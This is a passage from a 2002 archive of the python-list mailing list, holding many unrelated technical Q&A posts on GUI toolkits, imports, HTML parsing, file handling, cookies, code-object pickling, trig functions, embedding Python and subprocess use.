windows. This may/may not be necessary for your app but it's a factor. GTK 2.0 is supposed to fix it but support isn't available *yet*. Also, because wxPython wraps the native GUI calls, it has the same look and feel as windows apps. pygtk does not (I haven't tried 2.0 yet though). -- Mike -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From aahz at pythoncraft.com Sun May 19 15:00:44 2002 From: aahz at pythoncraft.com (Aahz) Date: 19 May 2002 15:00:44 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> Message-ID: In article <3ce7e613$0$3732 at echo-01.iinet.net.au>, Rob Hall wrote: > >Can anyone point me to a useful tutorial on multithreading? Take a look at my web page. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From gmcm at hypernet.com Thu May 2 12:09:37 2002 From: gmcm at hypernet.com (Gordon McMillan) Date: 02 May 2002 16:09:37 GMT Subject: Importing dynamically loaded modules (in packages)? References: Message-ID: holger krekel wrote: > [Steve Holden] [snip] >> A package is a directory containing an __init__.py file. > > And that's where it starts to fall out of pythons object world. > There is no 'directory'-object. No, but there's a PKG_DIRECTORY type-code (see the imp module). >> When the package is >> imported (which mjust happen before any submodules or subpackages can >> be imported) the __init__.py file is executed. > > The next filesystem-dependence not related to python's object > structure. The __init__ name is special. No, none of this is done in an object model exposed to Python (the language). If you want that, see http://www.mcmillan-inc.com/iu.html Note that "a.b.c" means something different in an import statement than it does anywhere else. Anywhere else, it's strictly attribute access. Python's implementation of import provides a mapping to the filesystem, but since it's hookable, you can map it to any structure (you only need a subset of the normal tree-navigation rules). Granted, you'll have to look at the implementation to figure out how the mapping-to-filesystem actually works. iu.py provides a (complete as far as I know) implementation in pure Python. -- Gordon http://www.mcmillan-inc.com/ From fredrik at pythonware.com Thu May 16 11:10:42 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 16 May 2002 15:10:42 GMT Subject: Beginner: HTML Parsing References: Message-ID: J. David Lashar wrote: > As a beginner, I'm working through the O'Reilly books mentioned in an > earlier posting, but I haven't found much guidance on parsing an HTML file > once I've pulled it down with httplib. And I'm finding the Python Library > Reference to be a bit cryptic. Could someone point to resources or provide > examples? you can find a bunch of examples here (look under "sgmllib"): http://www.oreilly.com/catalog/pythonsl/chapter/ch05.html From Answer.via.news.please.prikrylp at nospam_skil.cz Thu May 30 03:13:24 2002 From: Answer.via.news.please.prikrylp at nospam_skil.cz (Petr Prikryl) Date: Thu, 30 May 2002 09:13:24 +0200 Subject: Why no open(f, "w").write()? References: <200205291422.45264.gherron@islandtraining.com> Message-ID: "Fran?ois Pinard" wrote... > [Gary Herron] > > > Thus the "bad" part of this programming practice is that the timing > > of the implied close is dependent Python implementation issues (i.e., > > the timing of the garbage collection), and such dependencies are never > > a good thing to rely on. > > There might be cases when one moves between Python and Jython, indeed. > When one knows s/he works with Python only, it is good style to rely on > the refcount behaviour, as it yields code which is not only more legible, > but also more elegant and concise. [...] "Explicit is better than implicit." (about the close() here) [The code was... >>> stuff = "stuff to write" >>> open('stufffile', "w").write(stuff) >>> open('stufffile', "r").read() ] One day, you may change the code slightly, write several lines between the two open() commands, etc. Then it may happen that your program stops to work and it will be more difficult to discover what is the problem. In my opinion, the *short code* does not automatically mean the *elegant*. The shorter it is, the more difficult may be to notice the implicit actions inside (look at the Perl-golf tournaments fot the example). > [...] We understand > that the limitation comes from the fact Jython relies on the Java system > for collecting garbage. One has to close explicitly in Jython for practical > implementation considerations, this has nothing to do with good style. I would consider this example a bad style in any language, independently of having or not having the garbage collector. The main problem is not with the file object, but with the open file as with the system resource -- see below. "Fran?ois Pinard" wrote in another message... > > This is surely good to explicitly `close()' when one is done with a file, > but needs to keep a reference on this file for other reasons. The nicest > is not keeping a reference to the file, whenever it can be avoided easily. Well, but such "laziness" may lead to problems. What happens when it is not possible to write into the 'stuffile'. In such case, it is handy to have access to the file object (the reference to the file object). Because of the brevity of the code it is also not so explicitly visible what the write() will do when the file cannot be opened. The opened file (when not needed) may cause problems to other applications that try to do something with the same file. One should not consider any open file object as the exclusive property of the running application. Because of that, the file should be closed as soon as possible. But nobody forces you to do it this way. It is just a good programming practice that help to avoid possible problems. -- Petr Prikryl (prikrylp at skil dot cz) From wyojustin at hotmail.com Thu May 23 17:33:37 2002 From: wyojustin at hotmail.com (Justin Shaw) Date: Thu, 23 May 2002 21:33:37 GMT Subject: urllib2 and cookies References: Message-ID: This module seem like it applies to you. Saw it in the Vaults Parnassus. http://wwwsearch.sourceforge.net/ClientCookie/ Justin Shaw "Gabe Newcomb" wrote in message news:mailman.1022106651.10698.python-list at python.org... Anybody out there know how to make use of cookies when executing urllib2.urlopen()? I need to simulate browser sessions... Thanks in advance (-ly yours), Gabe Newcomb Software Test Automation Engineer 425.372.2732 Noetix Corporation www.noetix.com From pyth at devel.trillke.net Thu May 9 07:42:14 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 9 May 2002 13:42:14 +0200 Subject: no pickling code objects? In-Reply-To: References: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> Message-ID: <20020509114214.GW4604@devel.trillke> Michael Hudson wrote: > holger krekel writes: > > > just a comment: i need pickling of code objects. Anyone implementing > > mobile network agents might be interested, also. Up until now > > i just grab the source/byte code and send it over as a string. > > You can *marhsal* code objects easily enough (hey, that's what marshal > was invented for!). But you have to find out which code your data object needs: the first hurdle. > But that obviously doesn't solve all the problems: > > > But the basic problem with pickling/unpickling code objects > > is to transport the transitive closure of code objects: you need to > > have the code objects which your pickled code objects > > depends on. And next the code objects which these code > > objects depend on ... > > Well, indeed. > > This might be another motivation for not pickling functions; the > decisions get really hairy and basically impossible to guess > accurately, so Python punts. Not unless there is a clean-enough solution. I consider passing a list of modules that are 'resident' or the other way round a list of modules that are 'movable'. This way the code pickling could recurse into the code dependencies related to the data-object and raise an error if your data-object needs non-movable code. If we can solve these issues i would suggest integrating it. Consider beeing able to pickle away data together with its current code. This would reduce versioning problems a lot because upgrading to a new version would only require pulling the data out of objects instead of fiddling with the low-level data structures yourself. > [...] > > Has anyone figured these issues out already? > > pyro? i know. It's marshalling the code every time an import error occurs on the unpickling side. This has shortcomings. First you need an established connection when unpickling. Second if the remote server has an old version of your code still in sys.modules it will silently be used ... > But there's a fair chance that your exact problem hasn't been solved > before and you'll have to work out your exact requirements. Then you > can start looking to see if any existing frameworks can get you > off the ground quicker... thanks, i am interested in any pointers for previous art, holger From gustav at morpheus.demon.co.uk Fri May 31 09:10:48 2002 From: gustav at morpheus.demon.co.uk (Paul Moore) Date: Fri, 31 May 2002 15:10:48 +0200 Subject: Gordon McMillan's Installer - Data files in the archive Message-ID: I see from the documentation of Gordon McMillan's Installer that you can include arbitrary data files in a built executable, using something like (from the documentation) collect = COLLECT(a.binaries + [('readme', '/my/project/readme', 'DATA')], ...) Given that you can do this, how do you get at the file from within your application? In a --onedir build, the data files are part of the directory, so you can just find them via sys.executable. But in a --onefile build, how do you get at them? Also, can you make a --onedir build include data files in the generated EXE, not as separate files? On a (semi-) related note, is it possible to make Installer *not* track dependencies back into the installed copy of Python, and so produce executables which assume the existence of an installed copy of Python on the target system? For a simple test application using wxPython, the base EXE in a --onedir build was 350K, whereas the support DLLs were nearly 8M. If I'm only distributing to people who I can rely on to have Python and wxPython installed, the saving in bandwidth is enormous. (OK, so I could send out a ZIP of the application plus data files, but a single-file "just run this EXE" distribution really is a good thing...) [As you can imagine, this all sort of stems from the recent "JAR file equivalent for Python" thread, and my wondering if Installer was a reasonable match for the required functionality...] Thanks, Paul. From shagshag13 at yahoo.fr Wed May 29 10:41:12 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Wed, 29 May 2002 16:41:12 +0200 Subject: No parsers found... References: <921D7A043jhewebdeagde@194.45.170.159> Message-ID: "Martin v. L?wis" a ?crit dans le message de news: j48z63nkr8.fsf at informatik.hu-berlin.de... > "Shagshag13" writes: > > > i have > > [~/local/lib 510 ] ls > > libexpat.a libexpat.so libexpat.so.0.1.0 > > libexpat.la libexpat.so.0 python2.2 > > > > but it's look like python doesn't find it no ? > > > > i should have missed something... > > Most certainly. You need to edit Modules/Setup to point it to your > expat installation, to make use of the pyexpat module that comes with > Python. > > Alternatively, when J?rgen referred you to pyxml.sf.net, he did mean > this literally, i.e. pyxml.sf.net. > > Regards, > Martin So i've do that. It works now, thank to you and J?rgen !!! regards, s13. ps : i will never know what i missed... From fperez528 at yahoo.com Wed May 29 13:22:40 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 29 May 2002 11:22:40 -0600 Subject: multidimensional arrays from python to C References: Message-ID: Chris Fonnesbeck wrote: > I am embedding some python code in C, and need to be able to take a > multidim. array from python and assign its values to a global double > array in C.??Can?this?python?array?simply?be?cast?into?a?C?double > type, and assigned to the array in question, or do I have to do a > multiple-nested loop to assign each element individually.??Hope?this > makes sense! You should take a look at weave (scipy.org). It allows you to write things like: #----------------------------------------------------------------------------- # Returning a scalar quantity computed from a Numeric array. def trace(mat): """Return the trace of a matrix. """ nrow,ncol = mat.shape # The following is embedded C code: code = \ """ double tr=0.0; for(int i=0;i <3CDAF5E4.8495CF8C@fnal.gov> Message-ID: Quoth "David J. Ritchie" : | But of course the point is that if you didn't quite do it just exactly | right, but left whatever block delimiters the language had in place, | it would not have a disastrous effect on the execution logic. Right, there's a difference between rewriting and reformatting, even if the keystrokes are the same. | Again, it's great that Python forces you to get the indentation | right but it does mean that there is a sensitivity to context in the way | things are interpreted. But this I'm not sure I see. Since I don't know Perl, I don't know what they mean by context sensitivity, but what we're talking about here - block structure - is more or less common to programming languages in general, isn't it? And I don't see how block structure changes the meaning or interpretation of the statements inside the structure. Donn Cave, donn at u.washington.edu From krissepu at vip.fi Sat May 4 04:37:01 2002 From: krissepu at vip.fi (Pekka Niiranen) Date: Sat, 04 May 2002 11:37:01 +0300 Subject: Using functional tools Message-ID: <3CD39DAD.D5BC3F9C@vip.fi> I would like to feed every second (or 3rd or 4th .etc) item in a list to a function. list = ['a', 'b', 'c', 'd', 'e'] **some fancy map/filter -trick here** => list = ['a', function('b'), 'c', function('d'), 'e'] Is there a (functional) way without using for or while -structures ? If I only manipulate every second line of a file with that function, is there a faster way than reading the whole file into a list ?: list = open ("myfile.txt", "rb").readlines() **modify every 2nd line with set of functions** ** write the whole list into a new file** The size of a file is max 2Mb. -pekka- From rjones at ekit-inc.com Thu May 23 19:04:09 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Fri, 24 May 2002 09:04:09 +1000 Subject: python-friendly web hosts: buyer beware In-Reply-To: <3ced0306.262618245@news-server.socal.rr.com> References: <3ced0306.262618245@news-server.socal.rr.com> Message-ID: <200205240904.09048.rjones@ekit-inc.com> On Fri, 24 May 2002 01:05, Roger Burnham wrote: > On Thu, 23 May 2002 14:36:46 GMT, Rob Andrews > > > wrote: > >As webmaster of Useless Python, I went on the hunt some months back for > >python-frienly web hosting services for the site itself and to recommend > >to users of the site. This has proven to be more of an adventure than I > >had anticipated. In the quest, I have encountered a range of different > >organizations, from the Python-enthusiastic tummy.com to a few more > >dubious situations. > > > > > > Give http://www.modwest.com/ a look. I've found them _very_ responsive. > They have the latest Python version and have added PIL and a few other > packages at my request, usually less than an hour after asking. Oddly enough, I've had great success with http://phpwebhosting.com/ - I've got compiler and cron access (just had to ask) so I've got python2.1.3 installed, running CGI and in cron jobs. All for US$10 a month. Richard From mgilfix at eecs.tufts.edu Sun May 12 20:30:03 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Sun, 12 May 2002 20:30:03 -0400 Subject: Best way to represent an outline? In-Reply-To: <3CDA8185.8080305@lindbergs.org>; from news@lindbergs.org on Thu, May 09, 2002 at 08:02:45AM -0600 References: <3CDA8185.8080305@lindbergs.org> Message-ID: <20020512203003.A24458@eecs.tufts.edu> This sounds like a great use for XML. But if you feel that's too fancy, and it may very well be overkill, you just need to create a simple tree structure. You could have a simple node class and implement a simple tree that uses a list to store ordered children: class SimpleNode: def __init__ (self): name = None data = None order = [ ] # List of child names children = { } # Name - To node object mapping class Tree: def __init__ (self): self.root = SimpleNode () self.root.name = "Root" def add_node (self, path): pass def find_node (self, path): pass # etc... Where a child can be a tuple of child name and object. You can then search through the hierarchy. I used something similar this to implement a simple file system cache. You can also play tricks to increase speed. In my case, there was no ordering involved, so I didn't need any ordering and just used a child mapping. It's pretty straightforward and you might feel more comfortable with it. Hope that helps. -- Mike On Thu, May 09 @ 08:02, VanL wrote: > Hello, > > I'm trying to figure out the best way to represent an > outline, but I'm not sure what to use for each node: > > A dict: This is probably the best fit, with the name serving > as a key to another dict with different types of content. > But the problem is that an outline is ordered, where dicts > are inherently unordered. > > A class: This would probably work, but I don't want the > types of items that I will include within each class > instance to necessarily be pre-defined. So it seems like it > would be difficult to loop over the instance and discover > everything in a particular node. Plus, even if I used the > __dict__, I still have the ordering problem described above. > > A list: This satisfies the ordering property needed for an > outline, but I'm not sure where I would stick the variable > content of each node. > > Any suggestions? > > TIA, > > Van > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (news) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From hzhu at mars.localdomain Mon May 20 02:05:49 2002 From: hzhu at mars.localdomain (Huaiyu Zhu) Date: Mon, 20 May 2002 06:05:49 GMT Subject: OT: Crazy Programming References: Message-ID: On Sun, 19 May 2002 22:16:43 +1000, Patrick wrote: > >"Huaiyu Zhu" wrote in message >news:slrnaeekef.3ck.hzhu at mars.localdomain... >> Patrick wrote: >> > >> >To my mind, it is a perfectly logical conclusion that if the final >recipient >> >has some limitations (eg. the assumption that all things "REAL" must be >> >entirely or partly perceptible), then the delivery systems indeed cannot >> >help. >> >> Care to outline that logic? > >I'm relieved that you said "outline" instead of "defend" ;-) > >Philosophy is not my forte, so please forgive the naivete of these remarks. >You are dealing with a novice here. (And to cap it off, it's Sunday night >and I've been drinking all afternoon). So here goes ... [snip] Actually I do agree with the possibility that some limitations of recipient cannot be helped by any delivery system. For example, it is not possible to push more information through the senses than their maximal capacity. But there exist other limitations of the senses that can be overcome by proper transformtion of the information. Therefore it is *logically consistent* either way. There is no logical conclusion either way. Each particular instance of this question has to be answered based on its particular characteristics. That's my objection to Christopher's line of thinking. Just invoking a limitation of senses to make conclusions about fundamental limitation of knowledge does not make any sense. Your additional arguments at least constitute some additional analysis of the nature of some specific kinds of knowledge. It is at least possible, but not likely at this stage, that this might lead to some conclusion about fundamental limits of human knowledge. You might have observed that I'm deliberately avoiding discussion of the specific kind of limitations both of you are alluding to: namely systematic bias in our sensory system. That topic will inevitably veer into philosophy that is hard to disentangle (and not suitable for this forum). I would just say that even a lab rat living in an entirely manipulated environment still gains knowledge about its environment, even though the environment is an artificial one. As others have pointed out, this is already way too OT here. So I'll just stop, even though the discussion is very interesting. Huaiyu From cliechti at gmx.net Wed May 22 18:13:06 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 00:13:06 +0200 Subject: Executing a system command References: <3cec0fa1_1@news2.newsgroups.com> Message-ID: jb wrote in news:3cec0fa1_1 at news2.newsgroups.com: > I should like to execute the bash command > > (cd prefix;latex file.tex;dvips file) > > Can I do that with the os.system function? i think you can. >It seems I am having diffculties with that. then descibe that problem so that we can help :-) some wild guesses: - if you want to capture the output you can use os.popen() - or maybe you need to use an absolute path for "prefix" try "&&" instead of ";" so that when latex fails, the dvips command is not executed and os.system returns the non zero exit code (at least on Linux, i think) chris -- Chris From tim at vegeta.ath.cx Sat May 4 21:23:30 2002 From: tim at vegeta.ath.cx (Tim Hammerquist) Date: Sun, 05 May 2002 01:23:30 GMT Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> <3cd77dd6.1099557299@news.dsl.pipex.com> Message-ID: Simon Foster graced us by uttering: > Tim Hammerquist wrote: >>You're right. Not enough coffee and too much time passed since college >>trig. =) Correction: >> >>: If trig were based on degrees, the following would be true for a ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^ >>: unit circle: >>: >>: [ A = (180 * r^2) = 180 sq. units ] >>: [ C = (360 * r) = 360 units ] >> >>Thus: >> >> "since when does a unit circle have an area of 180 sq. units?" >> ^^^^^^^^^^^^^ > > I think you need more coffee! Surely PI is "3 and a bit"! The > area of a unit circle is pi. How big do you make it? I think you missed my point. The OP was expressing his shock at Math.sin accepting its argument in radians. I was painting a picture of what the world would be like if trig were based on degrees instead. Operating under the fairly certain assumption that (2*PI) radians = 360 degrees, I simply replace pi with 180 degrees in the classic geometric functions. Thus: A = PI * r^2 becomes: A = 180 * r^2 So, for a unit circle whose radius is 1: A = 180 * (1)^2 A = 180 * (1) A = 180 --> 180 sq. units ?!?!?! This is quite obviously ridiculous, and was intended so. To satisfy your question, however, my value of pi, stored permanently in my brain to six significant digits since Mr. Chatfield's calc class in high school: 3.14159 ;) > Simon Foster > Somewhere in the West of England Tim Hammerquist Somewhere in the West of the United States -- It's astonishing how much trouble one can get oneself into, if one works at it. -- Destruction, The Sandman From jar at mminternet.com Tue May 14 11:11:57 2002 From: jar at mminternet.com (x) Date: Tue, 14 May 2002 08:11:57 -0700 Subject: RegEx Message-ID: I have a quick regular expression question. I'm trying to substute all parathesis -- both left and right -- with a space. I've tried: no_parans = re.compile('(|)', count = 99) scan_line = no_parans.sub(' ', scan_line) This doesn't work. It had the effect of inserting a space before every character, including the paranthesis. What is the solution? -- ----------------------- James A Roush jar @ mminternet.com ----------------------- From ods at fep.ru Tue May 28 07:04:51 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Tue, 28 May 2002 15:04:51 +0400 (MSD) Subject: How to install Python without root priviledges ? In-Reply-To: Message-ID: On Tue, 28 May 2002, Shagshag13 wrote: S> I'm a real newbie in unix's world and i would like to install S> python on a S> machine where *i can't have* any root priviledges, how should S> i do that ? S> S> (it's on a HP Unix, but don't even know how to check the S> exact os name or S> version...) S> S> i do this : S> S> mkdir /home/shagshag/local S> download Python-2.2.1.tgz S> gunzip S> tar -xvf Python-2.2.1.tgz S> cd Python-2.2.1 S> ./configure --prefix=/home/shagshag/local S> make What about "make install"? S> And i get nothing !!!! From loewis at informatik.hu-berlin.de Thu May 30 13:27:18 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 30 May 2002 19:27:18 +0200 Subject: Embedding and threads ? In-Reply-To: <1022771667.689.136.camel@netgroup> References: <1022771667.689.136.camel@netgroup> Message-ID: Bo Lorentsen writes: > Is it a dumb question to ask, if I asked why the two dict's are there as > parameters in the first place ? Do they overwrite the global ones ? Python has three namespaces: locals, globals, and builtins. The parameters allow you to specify the locals and globals, since that allows you to execute your expression in a reasonably "fresh" environment, and since Python could not obtain these dictionaries otherwise (notice that there is a "global" namespace per module). > I can see that normally Python has a single ThreadState (and its related > Interpreter) that works as a singleton That is not the case. There is one thread state per thread. All but one thread is blocked at any point in time (unless the other threads execute unrelated C code); those threads have their thread state preserved in a local variable at the point where they last executed BEGIN_ALLOW_THREADS. > but is it not possible to "swap" these after getting the GIL, or am > I totally off track here ? It certainly is possible. > Yes !!! This is what I need ! But this is designed to be used inside > Python, but how about using something like this while embedding Python ? There is no difference between "inside Python", and "from C". Write down what you would do in Python, then translate that literally into C (using PyObject_CallFunction etc). You may find it useful to make a Python wrapper around rexec which customizes it to your need, and call that wrapper from the C code. > But, how about making Python point to an invalid "site" path, or > something like it ? That won't help - one can modify sys.path to overcome that limitation. The best way to not allow execution of dangerous code is not to include such code in your binary in the first place. > I think the rexec module sounds like the propper way to go. I also like > to keep using a standart version of Python, as special versions of a > major product often mess things up as the main product evolves. Not having to edit the Python source is a desirable thing to do. Having a custom build of Python is IMO reasonable in about any embedding application. > Again, thanks for your answers, I am already making my first embeded > code tests, and it is wery easy to manage, and somewhat nice to look at Good luck! Martin From maric.michaud at cirec.com Mon May 27 10:50:55 2002 From: maric.michaud at cirec.com (Maric MICHAUD) Date: Mon, 27 May 2002 16:50:55 +0200 Subject: encoding with reportlab Message-ID: <27E327AB8201B54495D54105FBBBB1485D1312@SRVMSG.GERLAND2.local> >>>> /path/to/reportlab/test/test_pdfbase_encodings.py I'm working on reease 1.0 ... no such file yet. Is implementation of encoding appear on later releases (1.0 seems to implement only WinANSI and MAC standards) ? is there a way to do without upgrading ? -----Message d'origine----- De : Gillou [mailto:nospam at bigfoot.com] Envoy? : lundi 27 mai 2002 13:24 ? : python-list at python.org Objet : Re: encoding with reportlab It's in one of the tests... /path/to/reportlab/test/test_pdfbase_encodings.py HTH --Gilles "Maric MICHAUD" a ?crit dans le message news: mailman.1022493751.14685.python-list at python.org... Does anyone know how make reportlab print euro symbol (EUR ) in a pdf doc under linux ('\xa4' in iso 8859-15) -- http://mail.python.org/mailman/listinfo/python-list From pyth at devel.trillke.net Sun May 12 14:19:50 2002 From: pyth at devel.trillke.net (holger krekel) Date: Sun, 12 May 2002 20:19:50 +0200 Subject: Implementing a mail server in Python (socket programming) In-Reply-To: ; from cogs2002@hotmail.com on Sun, May 12, 2002 at 04:27:13PM +0000 References: Message-ID: <20020512201950.C8959@prim.han.de> It significantly increases your chances of getting a reply if you don't post html-mails. holger From phd at phd.pp.ru Sat May 18 08:52:42 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 18 May 2002 16:52:42 +0400 Subject: How to propagate an exception ? In-Reply-To: <409a56e2.0205180428.44ddc3e0@posting.google.com>; from shagshag13@yahoo.fr on Sat, May 18, 2002 at 05:28:42AM -0700 References: <409a56e2.0205180428.44ddc3e0@posting.google.com> Message-ID: <20020518165242.A11509@phd.pp.ru> On Sat, May 18, 2002 at 05:28:42AM -0700, Shagshag wrote: > How do you propagate an exception ? Is there a way to raise the > previous exception raised after doing something ? > > Here what i would like to do : > > try: > some_parsing_with_minidom(from_a_line) > except SAXParseException: # (1) > # there are trouble in my file such as & instead of & > # and other things which prevent correct parsing but > # i don't know where and what cause my trouble > print index_of_line, line > raise SAXParseException #<- should be the one i intercept in (1) Just "raise" without a name. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From tim at vegeta.ath.cx Sat May 4 04:30:58 2002 From: tim at vegeta.ath.cx (Tim Hammerquist) Date: Sat, 04 May 2002 08:30:58 GMT Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: Tim Hammerquist graced us by uttering: > Jim Richardson graced us by uttering: >> I am trying to get the math module to deal with degrees rather than >> radians. (that it deals with radians for the angular functions like >> sin() isn't mentioned in the docs, which was sort of an eyeopener :) >> I can't find any info on doing this. I can convert from-to degrees in >> the code calling the function, but that's a bit clunky. Any pointers >> to an FM to R? :) > > Radians are what trig is based on. Otherwise the formula for the area > of a circle would be 'A = 360r'; since when does a unit circle have an > area of 360 square units? > > OTOH, `man 3 sin` on my system documents the sin() function of the C > math library _is_ documented as taking radians. On a POSIX system, > this is usually what is called by Ruby's Math.sin() method. > > Can you just write an additional method like > > def sin_d(deg) > Math.sin(deg * Math::PI / 180) > end > > ...and maybe even make it a method of the Math module itself? Sorry for the confusion between languages here. The rest is still valid, though. Tim Hammerquist -- Playing strip poker with an exhibitionist somehow takes the challenge out of it. -- Nick Smith, Metropolitan From martin at v.loewis.de Mon May 6 02:56:37 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 06 May 2002 08:56:37 +0200 Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> <6DoB8.89183$o66.280563@news-server.bigpond.net.au> Message-ID: Alex Martelli writes: > Yes, that's good motivation -- any EXE needs a further process Now I wonder if this is fact: Are you sure you cannot LoadLibrary a .exe? Regards, Martin From tismer at tismer.com Thu May 9 12:52:36 2002 From: tismer at tismer.com (Christian Tismer) Date: Thu, 09 May 2002 18:52:36 +0200 Subject: Stackless python + official python ? References: <3CDA819B.1040308@destiny.com> Message-ID: <3CDAA954.3060303@tismer.com> Michael Chermside wrote: > [discussion of Stackless being accepted into the main Python distrib] Cameron Laird wrote: >> Maybe Guido'll decide Stackless belongs in. Maybe >> Christian will decide he wants to do whatever is >> necessary to get Stackless in. More likely, I >> think, is that Christian continues to maintain >> Stackless as an alternate implementation. Exactly. Neither the old "sorcery" solution, nor the new "assembly" solutions (just 5 lines) are likely to get accepted. They are both work-arounds to the fact that Python would need a complete re-design of its innards to become stackless without "tricks". It is Python that forces me to do strange things in order to achieve my goal. Anyway, the new version *might* get a way into the distribution as a compiler option, since the patches are very small, and they can be turned off for unsupported platforms. > I would just like to point out that NOT integrating Stackless into the > main Python distribution is NOT NECESSARILY BAD! It is also doesn't > necessarily reflect poorly on Christian or Guido. > > It might make a LOT of sense to have TWO distributions, one which is > INCREDIBLY platform-independent, and one of which has some VERY advanced > and powerful multi-threading capabilities. To merge them would result in > loss or weakening of one (or both!) of those features -- a real shame. In general, two versions do make sense. On a given platform which is supported, it doesn't make sense, since you only get more, Stackless won't do anything less or perform poorer. The only drawback is the problem of incompatible Python software when using the multi-threading features. This is now suddenly platform dependant. But I'm confident that unsupported platforms will be turned into the empty set, quickly. > But having BOTH distributions satisfies EVERYONE. It might be a good > idea to distribute stackless from the main Python.org site (although I > don't think Christian is ready for that right this moment given where he > is in the re-write). It might be a good idea to work hard at keeping the > distributions up-to-date (ie, when 2.4.2 comes out for c-python it is > followed immediately (or simultaneously) with stackless 2.4.2. But we > don't have to merge Stackless into the main c-python distribution in > order to promote it... we can simply promote BOTH as closely-related > solutions to slightly different problems. It isn't necessary any longer to work hard to keep up with the current Python release boom. There are only a few places where some code is inserted. Most of the patches can be done via CVS merge automagically. And this is only one process for each Python version. The platform specific assembly is hidden inside of Stackless and totally unrelated to Python. The basic implementation has already been done and works. What gave mea six week procrustination was the fact that I decided to change the user interface drastically: Away from too-powerful, too-complicated to understand continuations, towards most easy-to-use tasklets together with channels for task communication. Finally, this will enable CSP programming for Python, IMHO the state-of-the-art of concurrent programming. I had to learn what this is and how it works, and to find a layout useful for Python. I'm nearly there now, and there will be an alpha release next week. cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From vlindberg at verio.net Fri May 31 17:31:52 2002 From: vlindberg at verio.net (VanL) Date: Fri, 31 May 2002 15:31:52 -0600 Subject: Generating unique numbers? Message-ID: <3CF7EBC8.4080802@verio.net> Is there a good algorithm for generating unique numbers (ints, specifically) that can be used as object identifiers? I am discounding the obvious newid += 1 because I will need to merge different sets, and while I may have some number overlap, using a simple count for each object would guarantee that I have the maximum number of clashes. Specifically, I will be using these numbers as dictionary keys. Thanks, VanL From db3l at fitlinxx.com Thu May 30 15:41:04 2002 From: db3l at fitlinxx.com (David Bolen) Date: 30 May 2002 15:41:04 -0400 Subject: win32: popen works, popen3 causes hang References: <930dfcf0.0205301058.6917c599@posting.google.com> Message-ID: eggy at island.net (Alex Eggenberger) writes: > The result is as expected, the program runs and I use output.read() to > get stdout. I need some info from stderr. So I would like to use > popen3 like this: > output = os.popen3('spectrum.exe -file script.tcl') > > This causes spectrum.exe to hang. I can tell it is hung on > spectrum.exe because I can see the process persists indefinitely in > Task Manager. > > Is there a difference in the popen and popen3 operate that could be > causing this problem. Everything else except the popen call is > identical in the two cases. Well, popen() doesn't provide a stdin to the client process, so if the client tries to read something from it it'll get EOF (or maybe even an error, I'm not positive) . popen3() gives you access to the client's stdin, so there is a handle there and something for the client to expect to be able to do I/O to. My guess is spectrum is trying to do some I/O from stdin in some way that is making it wait. You don't show any further code after the popen#() but if you don't send anything to its stdin that might be an issue. How about trying to just close the returned child stdin handle after doing the popen#() - that should create the same effect as popen() with respect to the client stdin and still give you access to stderr. -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From yvan.radenac at equant.com Wed May 8 05:52:08 2002 From: yvan.radenac at equant.com (Yvan Radenac) Date: 8 May 2002 02:52:08 -0700 Subject: Result of I need your experience - classification and comparison of languages References: <3CD82F56.8060601@sh.cvut.cz> Message-ID: Jakub Travnik wrote in message news:<3CD82F56.8060601 at sh.cvut.cz>... > Yvan Radenac wrote: > [snip] > > You can find, in french, the report at > > http://www.cnamoo.net/uv/b5/ftp/mini/radenac.pdf > > > > But, if you are interesting in, i can post the sheets in english. > > > > Regards, > > Yvan > > Hello, > > I have looked at it even not speaking frances. > Why is Andy Hunt written in Ruby item on page > 12(physical)/11(logical)? > I think Yukihiro Matsumoto aka Matz should be there. > > Or is there a reason for Andy being there? > > Jakub Travnik > jabber://jtra at jabber.com Hi, I'm right with you, but as i use a paper on the NET, i respect the copyright, so the writer of this said that it's Andy Hunt... But, if you read at page 37, you can find Yukihiro Matsumoto for the language Ruby. I will write both of them for the historic. Thank you for your attentive reading Regards, Yvan From pyth at devel.trillke.net Fri May 3 09:59:51 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 3 May 2002 15:59:51 +0200 Subject: Message queueing In-Reply-To: <20020503124802.F22DA2F190@cbbrowne.com> References: <20020503091404.GC16217@devel.trillke> 